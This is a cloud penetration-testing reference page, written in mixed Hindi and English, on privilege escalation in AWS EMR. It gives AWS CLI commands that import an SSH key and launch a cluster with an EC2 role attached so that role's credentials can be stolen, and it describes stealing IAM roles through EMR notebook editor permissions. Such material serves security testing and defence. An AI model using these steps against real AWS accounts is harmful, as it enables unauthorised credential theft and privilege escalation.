AWS - EMR Privesc

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EMR

EMR के बारे में अधिक जानकारी यहाँ:

AWS - EMR Enum

iam:PassRole, elasticmapreduce:RunJobFlow

इन permissions वाले attacker run a new EMR cluster attaching EC2 roles चला सकता है और इसके credentials चुराने की कोशिश कर सकता है।
ध्यान दें कि ऐसा करने के लिए आपको know some ssh priv key imported in the account या एक key import करनी होगी, और open port 22 in the master node करने में सक्षम होना चाहिए (आप यह --ec2-attributes के अंदर EmrManagedMasterSecurityGroup और/या ServiceAccessSecurityGroup के attributes के साथ कर सकते हैं)।

# Import EC2 ssh key (you will need extra permissions for this)
ssh-keygen -b 2048 -t rsa -f /tmp/sshkey -q -N ""
chmod 400 /tmp/sshkey
base64 /tmp/sshkey.pub > /tmp/pub.key
aws ec2 import-key-pair \
--key-name "privesc" \
--public-key-material file:///tmp/pub.key


aws emr create-cluster \
--release-label emr-5.15.0 \
--instance-type m4.large \
--instance-count 1 \
--service-role EMR_DefaultRole \
--ec2-attributes InstanceProfile=EMR_EC2_DefaultRole,KeyName=privesc

# Wait 1min and connect via ssh to an EC2 instance of the cluster)
aws emr describe-cluster --cluster-id <id>
# In MasterPublicDnsName you can find the DNS to connect to the master instance
## You cna also get this info listing EC2 instances

Note how an EMR role is specified in --service-role and a ec2 role is specified in --ec2-attributes inside InstanceProfile. However, this technique only allows to steal the EC2 role credentials (as you will connect via ssh) but no the EMR IAM Role.

Potential Impact: निर्दिष्ट EC2 service role पर Privesc

elasticmapreduce:CreateEditor, iam:ListRoles, elasticmapreduce:ListClusters, iam:PassRole, elasticmapreduce:DescribeEditor, elasticmapreduce:OpenEditorInConsole

इन permissions के साथ एक हमलावर AWS console पर जाकर Notebook बना सकता है और इसे access करके IAM Role चुरा सकता है।

Potential Impact: Privesc to AWS managed role arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile

elasticmapreduce:OpenEditorInConsole

Just with this permission an attacker will be able to access the Jupyter Notebook and steal the IAM role associated to it.
The URL of the notebook is https://<notebook-id>.emrnotebooks-prod.eu-west-1.amazonaws.com/<notebook-id>/lab/

Potential Impact: Privesc to AWS managed role arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile